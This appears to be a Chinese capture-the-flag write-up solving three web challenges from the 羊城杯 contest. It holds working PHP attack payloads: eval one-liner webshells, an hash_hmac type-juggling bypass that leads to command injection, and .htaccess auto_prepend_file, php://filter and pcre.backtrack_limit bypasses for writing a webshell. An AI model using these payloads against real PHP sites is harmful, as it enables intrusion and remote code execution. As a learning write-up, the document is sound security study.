0x00 前言
总结一下羊城杯的Web题,就做出几道。发现有的题是原题改的,不过涉及到一些没有学过的知识,简单总结一下。
0x01 easycon
考点:一句话木马+base64转图片
打开题目,发现是Apache默认页,使用扫描工具扫描一下
发现index.php
,访问发现弹窗eval post cmd
,意思很明显,就是post传入cmd参数,并且应该使用了eval()函数。所以,源码里应该有<?php eval($_POST['cmd']);?>
,一句话木马,蚁剑直接连
发现上图所示的这些文件,发现bbbbbbbbb.txt
里边的文件内容很多,并且像base64编码。
同时看到开头的/9j/
,根据经验是base64编码转图片,并且头部缺少内容data:image/jpg;base64,
找一个base64在线转图片的网站,加上缺少的内容,进行转换,得到带有flag的图片
0x02 BlackCat
考点:文件分析+代码审计+弱类型+hash
查看源代码,发现注释<!--都说听听歌了!-->
。于是下载引用的音频文件Hei_Mao_Jing_Chang.mp3
,使用winhex打开,在最后边发现
复制出来,得到源码:
//post传入Black-Cat-Sheriff和One-ear绕过判断
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('谁!竟敢踩我一只耳的尾巴!');
}
$clandestine = getenv("clandestine"); //获取一个环境变量的值
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine); //使用 HMAC 方法生成带有密钥的哈希值
//PHP的类型自动转换,控制的变量只有One-ear和White-cat-monitor
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}
echo exec("nc".$_POST['One-ear']);
代码的大概意思:
POST传入Black-Cat-Sheriff和One-ear,绕过第一个判断
POST传入White-cat-monitor,绕过第二个判断,且传入的是数组使$clandestine
为NULL,即将下一个加密的密钥置空
POST传入的Black-Cat-Sheriff与加密后的One-ear相同,绕过第三个判断
最终执行echo exec("nc".$_POST['One-ear']);
表示成功
测试一下下面这两条语句:
语句1:
php > var_dump(hash_hmac('sha256',array(1),'123'));
PHP Warning: hash_hmac() expects parameter 2 to be string, array given in php shell code on line 1
NULL
post传入White-cat-monitor为数组,对White-cat-monitor加密后使得$clandestine
为NULL
语句2:
php > var_dump(hash_hmac('sha256',';id',NULL));
string(64) "58dedd736c5af324a198c6c663e569df59691854d1f53d704bdbce40f1d139c1"
对post传入的One-ear进行加密,生成hash值。
审计完代码后,开始做题:
1、POST传入Black-Cat-Sheriff和One-ear,使Black-Cat-Sheriff与加密后的One-ear相同
One-ear的值为:;cat flag.php
(通过目录扫描扫到flag.php文件)
Black-Cat-Sheriff的值为:One-ear加密后的值,即:
php > var_dump(hash_hmac('sha256',';cat flag.php',NULL));
string(64) "04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6"
Black-Cat-Sheriff的值为:
04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6
2、POST传入White-cat-monitor数组(即White-cat-monitor[]=1
)使$clandestine为NULL
最终得到的payload为:
Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6&One-ear=;cat flag.php&White-cat-monitor[]=1
post传入得到flag
0x03 easyphp
考点:.htaccess解析+命令注入+相关绕过
打开题目,发现源码:
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
发现是2019XNUCA的easyphp原题改的,不过少了include_once("fl3g.php");
,其他关键部分基本没变。所以可以参考解题。
题目的大致意思:
1、通过file_put_contents函数来写马
2、对我们可以控制的参数$filename
和$content
分别进行了preg_match函数和stristr函数的过滤,
preg_match的过滤要求是输入的文件名必须只能带有[a-z\.]
范围的字符
stristr函数则是过滤了on,html,type,flag,upload和file关键字
3、本题环境只对index.php文件进行解析。并且开头和末尾都对当前目录下的文件进行检查,删除(unlink)除了index.php外的所有文件
解题思路
根据题目的意思只解析index.php
,想到以下方法:
1、写入一句话木马到index.php
2、写入一个.htaccess
让当前目录下的所有文件都能解析为php文件
3、写入一个.user.ini
让index.php自动包含上我们写入的马
第一种方法是最简单的,直接写入一句话木马<?php eval($_POST['qwzf']); ?>到index.php即可
第二种方法,一定需要写多次,前面写的.htaccess会被删掉;而如果是写上开头自动包含,并且包含的文件就是.user.ini,并且在.user.ini中直接写入马,那么理论上index.php在删除前就可以执行到我们写入的马。
第三种方法,利用.user.ini
设置文件自动包含。这里尝试一下,没有成功。
第一种解题方法:直接写入一句话木马
直接写入一句话木马到index.php
?filename=index.php&content=<?php eval($_POST['qwzf']); ?>
蚁剑连接,找到flag即可。
第二种解题方法:利用.htaccess
设置文件自动包含
.htaccess
设置php环境变量的格式
.htaccess
也可以设置开头自动包含,.htaccess
设置php环境变量的格式:
#format
php_value setting_name setting_value
#example
php_value auto_prepend_file .htaccess
auto_prepend_file与auto_append_file
使用auto_prepend_file与auto_append_file在所有页面的顶部与底部require文件。
php.ini
中有两项
auto_prepend_file #在页面顶部加载文件
auto_append_file #在页面底部加载文件
使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require文件时,只需要修改auto_prepend_file与auto_append_file的值即可。
绕过过滤
1、绕过\n
的过滤
于是确定我们要写入的文件.htaccess
,文件内容为:
php_value auto_prepend_file .htaccess
#<?php phpinfo();?>\
末尾有个符号
\
是必须写入的,我们注意到源代码中file_put_contents中的文件内容传入的变量$content
末尾还连接上了\nHello, world
这个字符串,而\n
代表着换行,而我们再一个\
,则会拼接成\\n
,即转义掉了n前面的\
,构不成换行。换句话来说,如果我们没有加入\
,那么写入.htaccess
的文件内容就为:
php_value auto_prepend_file .htaccess
#<?php phpinfo();?>
Hello, world
会出现末尾行的字符串不符合htaccess文件的语法标准而报错导致htaccess文件无法执行,那么当前目录下的所有文件就会面临崩溃,所以说,末尾必须写入
\
2、绕过stristr的过滤
上边写入文件.htaccess
的内容里包含了file关键字
,被stristr
过滤,所以要绕过stristr
的过滤
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
1.方法一:使用base64加密绕过stristr函数
p神的一篇文章:谈一谈php://filter的妙用
提到file_put_contents函数中的第一个参数$filename
,即写入的文件名是可以控制协议的,所以我们可以用php://filter流
的base64-decode
方法将文件内容参数$content
进行base64解码,那么这样就可以通过将内容进行base64加密来绕过stristr函数的检查。
测试代码:
<?php
$filename = $_GET['filename'];
$content = $_GET['content'];
if(stristr($content,'<?php')){
echo 'Hacker';
die();
}
file_put_contents($filename, $content);
?>
对要写入的content进行base64编码:
>>> base64.b64encode('<?php phpinfo(); ?>')
'PD9waHAgcGhwaW5mbygpOyA/Pg=='
测试payload
?filename=php://filter/write=convert.base64-decode/resource=phpinfo.php&content=PD9waHAgcGhwaW5mbygpOyA/Pg==
访问phpinfo.php
,成功显示phpinfo信息。
绕过preg_match
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
因为正则判断写的是if(preg_match("/[^a-z\.]/", $filename) == 1)
而不是if(preg_match("/[^a-z\.]/", $filename) !== 0)
,因此存在了被绕过的可能。
文件名写入php://filter
需要绕过preg_match函数的检查。第一印象想到preg_match处理数组是会返回NULL,然而这里file_put_contents
函数传入的文件名参数不支持数组的形式。
看xnuca2019-ezphp的wp发现一篇文章:preg_match函数绕过
思路是:通过正则匹配的递归次数来绕过,正则匹配的递归次数由pcre.backtrack_limit
参数来控制
PHP5.3.7 版本之前默认值为 10万 ,PHP5.3.7 版本之后默认值为 100万。该值可以通过php.ini
设置,也可以通过 phpinfo
页面查看。
要让preg_match返回false,也就是匹配不到,即可绕过preg_match。这里就有一个骚操作,就是通过设置pcre.backtrack_limit
值为0,使得回溯次数为0,来使得正则匹配什么都不匹配,即返回false。
测试一下,是否能绕过preg_match:
<?php
ini_set('pcre.backtrack_limit',0);
var_dump(preg_match('/[^a-z\.]/','php://filter'));
?>
//bool(false)
成功绕过preg_match。
pcre.backtrack_limit
设置的是php的环境变量,也可以在.htaccess
里设置,最终写入到.htaccess
中内容如下:
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
php_value auto_prepend_file .htaccess
#a<?php eval($_GET[1]); ?>\
Hello, world
因为php版本>=7,所以需要特别设置pcre.jit
这个环境变量为0,不适用JIT引擎来匹配正则表达式,就使得pcre.backtrack_limit
这个环境变量能正常生效,绕过preg_match函数。
最终payload:
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlIC5odGFjY2VzcwojYTw/cGhwIGV2YWwoJF9HRVRbMV0pOyA/Plw=&1=phpinfo();
网上都有这种方法做题,然而经过测试,并没有成功,在buu上复现xnuca2019-ezphp也没有成功。可能是环境问题。(暂时不知道是什么问题,等发现是什么问题后,再继续总结)
2.方法二:对过滤的关键字中间添加换行\n
绕过stristr函数
可以通过对过滤的关键字中间添加换行\n
来绕过stristr函数的检测,不过仍然需要注意添加\
来转义掉换行,这样才不会出现语法错误,如此一来就不需要再绕过preg_match函数,即可直接写入.htaccess
来getshell
payload如下:
?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>\&filename=.htaccess
写入.htaccess
的内容:
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla'.'g');?>\
Just one chance
然后访问index.php即可得到flag:
参考:
从xnuca2019-ezphp深入学习.htaccess
2019XNUCA部分Web复盘
0x04 后记
基本总结完毕,比赛收获了很多知识。更深一步的了解到了.htaccess
解析。继续努力!